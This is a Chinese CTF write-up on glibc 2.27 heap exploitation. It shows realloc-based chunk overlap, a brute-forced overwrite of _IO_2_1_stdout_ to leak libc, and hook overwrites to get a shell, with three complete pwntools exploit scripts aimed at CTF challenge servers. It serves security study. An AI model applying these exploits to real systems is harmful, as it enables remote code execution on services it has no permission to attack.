0%

glibc从堆任意分配到攻击IO流达到泄露信息_realloc特性_unsorted_bin_expand总结

有些情况下,仅有malloc/calloc/realloc和free两种功能,并且可以实现任意地址分配,如果想要达到利用,还需要知道地址,在glibc下,一般就是攻击_IO_2_1_stdout_结构体来实现信息泄露,通过低字节覆盖unsorted bin留下的main_arena指针,再加以爆破4位,就能分配到_IO_2_1_stdout_,通过篡改_IO_2_1_stdout_的flags为0x0FBAD1887,_IO_write_base低字节覆盖,然后当程序调用puts输出任意信息时,就会输出_IO_write_base到_IO_write_ptr之间的数据,而这之间就有libc的指针。

下面以三个例子为例。

roarctf_2019_realloc_magic

题目给我们的glibc版本为2.27

首先,检查一下程序的保护机制

然后用IDA分析一下,很明显存在UAF漏洞

功能很少,没有show功能,没有edit功能。

注意到,程序使用了realloc来分配,如果realloc_ptr不为空的话,会在realloc_ptr的基础上来分配,因此很难达到任意地址分配。

这时,就需要利用**[realloc的一个特性]{.mark}**,阅读realloc的源码,我们发现了如下

如果realloc的size为0,并且传入的ptr指针不为空,那么会free掉ptr指向的堆,并**[返回0值。]{.mark}**

利用这个返回0值,我们就可以将ptr设置为0,只要ptr为0,就和malloc一样的使用。

首先,我们需要构造出unsorted bin与tcache bin重合的布局,并且为了控制tcache bin chunk的next指针,我们在最前面申请一个chunk0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#0
realloc(0x40,'a'*0x40)
#realloc size为0,且传入的chunk不为null,会free掉chunk,并且返回0
##重点就在于返回0,使得ptr指针置0
realloc(0,'')
#1
#先申请一个大的堆
realloc(0x100,'a'*0x100)
#再缩小堆,这样,堆与top chunk之间就隔开了
realloc(0xC0,'b'*0xC0)

for i in range(7):
delete()
#清空堆指针
realloc(0,'')

堆布局成了这样

也就是这样的布局

现在,我们想控制tcache bin的next指针,我们可以先把chunk0申请回来,再利用realloc扩充到下面的tcache chunk里进行修改。

1
2
3
4
5
6
#取出0x50的chunk
realloc(0x40,'c'*0x40)
#扩充,由于chunk1处于free状态,因此与chunk1发生重合
#低位覆盖chunk1的next指针,使得有一定几率指向IO_2_1_stdout
#同时篡改size,使得下一次释放0xD0的第一个堆时不会重新回到0xD0的chunk里
realloc(0x100,'c'*0x40 + p64(0) + p64(0x41) + p16((0x5 << 0xC) + (_IO_2_1_stdout_s & 0xFFF)))

需要注意的是我们**[还篡改了下一个chunk的size为0x41,原本为0xD1。]{.mark}**这是因为当我们把这个0xD0的tcache 申请回来后,我们想要继续申请next指针指向的地方,但是由于使用的是realloc,我们必须保证ptr为0,因此需要realloc(ptr,0)吗,这会使得ptr被free一次,如果size仍然为0xD0,又会重新回到0xD0的tcache bin里,使得我们取不出next指向的地方。

接下来,就是分配到目的地,改写数据,达到泄露信息了。

1
2
3
4
5
6
7
8
#释放堆,同时指针清零
realloc(0,'')
#申请0xD0的第一个堆
realloc(0xC0,'c'*0xC0)
#释放堆,chunk放入0x40的tcache bin,同时指针清零
realloc(0,'')
#申请到IO_2_1_stdout结构体内部,低位覆盖_IO_write_base,使得puts时泄露出信息
realloc(0xC0,p64(0x0FBAD1887) +p64(0)*3 + p8(0x58))

结尾这个puts会将数据输出,由于flags被我们改为0x0FBAD1887,因此’x00’不会截断puts的输出。

接下来,同样是利用realloc来将下一个chunk包含进来,篡改next指针为free_hook,改写free_hook即可。

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
free_hook_s = libc.symbols['__free_hook']
one_gadget_s = 0x4f322

def realloc(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size?',str(size))
sh.sendafter('Content?',content)

def delete():
sh.sendlineafter('>>','2')

def zero_ptr():
sh.sendlineafter('>>','666')


def exploit():
#0
realloc(0x40,'a'*0x40)
#realloc size为0,且传入的chunk不为null,会free掉chunk,并且返回0
##重点就在于返回0,使得ptr指针置0
realloc(0,'')
#1
#先申请一个大的堆
realloc(0x100,'a'*0x100)
#再缩小堆,这样,堆与top chunk之间就隔开了
realloc(0xC0,'b'*0xC0)

for i in range(7):
delete()
#清空堆指针
realloc(0,'')
#取出0x50的chunk
realloc(0x40,'c'*0x40)
#扩充,由于chunk1处于free状态,因此与chunk1发生重合
#低位覆盖chunk1的next指针,使得有一定几率指向IO_2_1_stdout
#同时篡改size,使得下一次释放0xD0的第一个堆时不会重新回到0xD0的chunk里
realloc(0x100,'c'*0x40 + p64(0) + p64(0x41) + p16((0x5 << 0xC) + (_IO_2_1_stdout_s & 0xFFF)))
#释放堆,同时指针清零
realloc(0,'')
#申请0xD0的第一个堆
realloc(0xC0,'c'*0xC0)
#释放堆,chunk放入0x40的tcache bin,同时指针清零
realloc(0,'')
#申请到IO_2_1_stdout结构体内部,低位覆盖_IO_write_base,使得puts时泄露出信息
realloc(0xC0,p64(0x0FBAD1887) +p64(0)*3 + p8(0x58))
#泄露出libc地址
sh.recvuntil('\n')
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3E82A0
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
free_hook_addr = libc_base + free_hook_s
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#清空ptr指针
zero_ptr()
#取出0x110的chunk,0x40的chunk发生重合
#篡改0x40的tcache bin的chunk的next指针,指向free_hook处
#同时,与上面思想一样,篡改size,使得释放后不会重新回到当前0x40的tcache bin
realloc(0x110,'c'*0x40 + p64(0) + p64(0x51) + p64(free_hook_addr))
#释放堆,指针清零
realloc(0,'')
#取出0x40的第一个chunk
realloc(0x30,'c')
#释放堆,chunk放入0x50的tcache bin,同时指针清零
realloc(0,'')
#申请到free_hook处,写free_hook
realloc(0x30,p64(one_gadget_addr))
#getshell
delete()

while True:
try:
global sh
sh = process('./roarctf_2019_realloc_magic')
#sh = remote('node3.buuoj.cn',28671)
exploit()
sh.interactive()
except:
sh.close()
print 'retrying...'

TWCTF_online_2019_asterisk_alloc

与roarctf_2019_realloc_magic是基本一样的操作,程序里的calloc功能没有用到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
free_hook_s = libc.symbols['__free_hook']
one_gadget_s = 0x4f322

def malloc(size,content):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Data:',content)

def calloc(size,content):
sh.sendlineafter('Your choice:','2')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Data:',content)

def realloc(size,content):
sh.sendlineafter('Your choice:','3')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Data:',content)

def free(which):
sh.sendlineafter('Your choice:','4')
sh.sendlineafter('Which:',which)

def exploit():
realloc(0x40,'a'*0x40)
#realloc特性,当传入的size为0且堆指针不为空时,会free掉chunk
realloc(0,'')
#realloc一个大堆
realloc(0x100,'b'*0x100)
#再缩小范围,并且保证剩余的空间大小在fastbin范围,这样chunk就与top chunk隔开了
realloc(0xC0,'b'*0xC0)
for i in range(7):
free('r')
#realloc特性,当传入的size为0且堆指针不为空时,会free掉chunk并返回0
#我们利用返回的0,将ptr_r置零
realloc(0,'')
#取出0x50的chunk
realloc(0x40,'a'*0x40)
#扩充0x50的chunk到下方0xD0的chunk里
#低字节覆盖,使得tcache bin chunk的next指针有一定几率指向_IO_2_1_stdout_
realloc(0x100,'a'*0x40 + p64(0) + p64(0x41) + p16((0x5 << 0xC) + (_IO_2_1_stdout_s & 0xFFF)))
#释放堆,同时指针清零
realloc(0,'')
#申请0xD0的第一个堆
realloc(0xC0,'c'*0xC0)
#释放堆,chunk放入0x40的tcache bin,同时指针清零
realloc(0,'')
#申请到IO_2_1_stdout结构体内部,低位覆盖_IO_write_base,使得puts时泄露出信息
malloc(0xC0,p64(0x0FBAD1887) +p64(0)*3 + p8(0x58))
sh.recv(1)
#泄露出libc地址
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3E82A0
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
free_hook_addr = libc_base + free_hook_s
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#取出0x110的tcache bin chunk,尾部与0x40的tcache bin重合
#我们将free_hook链接到0x40的tcache bin里
realloc(0x110,'d'*0x40 + p64(0) + p64(0x51) + p64(free_hook_addr))
#释放堆,指针清零
realloc(0,'')
#取出第一个0x40的tcache bin chunk
realloc(0x30,'e'*0x30)
#释放堆,chunk放入0x50的tcache bin,指针清零
realloc(0,'')
#分配到free_hook,写入one_gadget
realloc(0x30,p64(one_gadget_addr))
#getshell
free('r')

while True:
try:
global sh
#sh = process('./TWCTF_online_2019_asterisk_alloc')
sh = remote('node3.buuoj.cn',27319)
exploit()
sh.interactive()
except:
sh.close()
print 'retrying...'

sctf_2019_one_heap

glibc版本为2.27。

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,仅两个功能,add使用的是malloc分配

Delete功能里没有清空指针,可以造成double free,delete功能最多只能用4次。

首先还是构造unsorted bin与tcache bin重合的布局,由于delete次数只能用4次,我们先double free,然后多次add,使得tcache bin对应的count计数变为负数。由于count为无符号数,因此count>7将成立。从而,我们接下来free的时候就能得到unsorted bin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#0
add(0x7F,'a'*0x7F)
#double free
delete()
delete()
#1
add(0x10,'b'*0x10)
delete()
#2
add(0x20,'c'*0x20)

#通过三次add,使得0x90的tcache的count变为-1
add(0x7F,'\n')
add(0x7F,'\n')
add(0x7F,'\n')
#获得unsorted bin
delete()

然后就是修改next指针,申请到_IO_2_1_stdout进行劫持来泄露数据了。接下来,delete功能已经用完了。我们还得想办法控制chunk1的next域。此时,用到了**[unsorted bin expand的方法,即将unsorted bin的size篡改大]{.mark}**,将chunk1给包含进来,然后通过分配,使得分配的chunk与free状态的chunk1重合,这样,我们就能控制chunk1的next指针,指向malloc_hook,然后改写即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget_s = 0x10a38c

def add(size,content):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('Input the size:',str(size))
sh.sendafter('Input the content:',content)

def delete():
sh.sendlineafter('Your choice:','2')

def exploit():
#0
add(0x7F,'a'*0x7F)
#double free
delete()
delete()
#1
add(0x10,'b'*0x10)
delete()
#2
add(0x20,'c'*0x20)

#通过三次add,使得0x90的tcache的count变为-1
add(0x7F,'\n')
add(0x7F,'\n')
add(0x7F,'\n')
#获得unsorted bin
delete()
#从unsorted bin里切割
#低字节覆盖,使得tcache bin的next指针有一定几率指向_IO_2_1_stdout_
add(0x20,p16((0x5 << 0xC) + (_IO_2_1_stdout_s & 0xFFF)) + '\n')
#取出0x90的第一个tcache chunk,同时,修改unsorted bin的size,使得chunk1被包含进来
add(0x7F,'a'*0x20 + p64(0) + p64(0x81) + '\n')
#申请到IO_2_1_stdout结构体内部,低位覆盖_IO_write_base,使得puts时泄露出信息
add(0x7F,p64(0x0FBAD1887) +p64(0)*3 + p8(0x58) + '\n')
#泄露出libc地址
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3E82A0
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
realloc_addr = libc_base + realloc_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#从unsorted bin里切割,尾部与chunk1的tcache bin重合,从而我们可以修改next指针
add(0x70,'a'*0x60 + p64(malloc_hook_addr - 0x8) + '\n')
add(0x10,'b'*0x10)
#申请到malloc_hook-0x8处
add(0x10,p64(one_gadget_addr) + p64(realloc_addr+4))
#getshell
add(0,'')
while True:
try:
global sh
#sh = process('./sctf_2019_one_heap')
sh = remote('node3.buuoj.cn',28553)
exploit()
sh.interactive()
except:
sh.close()
print 'retrying...'